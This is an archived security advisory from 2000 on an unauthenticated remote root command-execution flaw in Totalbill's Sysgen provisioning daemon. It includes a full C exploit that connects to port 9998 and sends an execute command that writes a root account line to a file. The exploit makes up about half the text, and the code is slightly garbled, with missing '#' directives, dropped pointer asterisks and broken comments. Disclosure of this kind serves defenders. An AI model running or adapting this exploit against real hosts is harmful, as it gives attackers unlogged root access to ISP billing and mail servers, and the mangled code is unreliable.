Exploit for Totalbill...

Type securityvulns
Reporter Securityvulns
Modified 2000-08-10T00:00:00


Totalbill is a complete billing and provisioning system for ISPs, and it's written by Aptis Software (www.aptissoftware.com). There is one part of it that sits on your mail and radius servers called Sysgen that listens on a port (sometimes 9998, but it usually varies), and it allows the incoming provisioning requests to be handled. Well, the problem is it doesn't do any logging on the incoming connections, doesn't do ANY kind of authentication, and it will let you run any program as root remotely without it being logged. I notified Aptis about this problem back in November 1999, and they haven't released an update yet. Obviously, security must not be a top priority for them...

Also, I never did get to verify this, but it looks like cc_queue (handles credit card transactions) is vulnerable to buffer overflows as well. I would suggest start firewalling some of these ports...

And now for the code... It'll just create a file called /rootfile on your machine, and no logging will have taken place.

include <stdio.h>

include <errno.h>

include <unistd.h>

include <string.h>

include <netdb.h>

include <netinet/in.h>

include <sys/socket.h>

define TOTALBILL_PORT 9998

define TOTALBILL_SERVER "" / Insert hostname here /

int main (void) { struct sockaddr_in servaddr; char tempstr, buf[8192]; struct hostent host; int sockfd;

if ((sockfd = socket (AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0) { fprintf (stderr, "Error: Could not create a socket: %s\n", strerror (errno)); return (1); } memset (&servaddr, 0, sizeof (servaddr)); servaddr.sin_family = AF_INET; servaddr.sin_port = htons (TOTALBILL_PORT);

if ((host = gethostbyname (TOTALBILL_SERVER)) == NULL) { fprintf (stderr, "Error: Could not look up %s\n", TOTALBILL_SERVER); return (1); }

memcpy (&servaddr.sin_addr, host->h_addr_list[0], host->h_length); if (connect (sockfd, (struct sockaddr *) &servaddr, sizeof (servaddr)) < 0) { fprintf (stderr, "Error: Cannot connect to %s: %s\n", TOTALBILL_SERVER, strerror (errno)); return (1); } tempstr = "123456 execute execute execute=/bin/echo+root::0:0::/:/bin/sh+>+/rootfile"; printf ("Sending command %s to %s\n", tempstr, TOTALBILL_SERVER); if (write (sockfd, tempstr, strlen (tempstr) + 1) < 0) { fprintf (stderr, "Error: Cannot write to socket: %s\n", strerror (errno)); return (1); } printf ("Sent...waiting for response...\n"); if (read (sockfd, buf, sizeof (buf)) < 0) { fprintf (stderr, "Error: Cannot read from socket: %s\n", strerror (errno)); return (1); } printf ("Received %s from server\n", buf); close (sockfd); return (0); }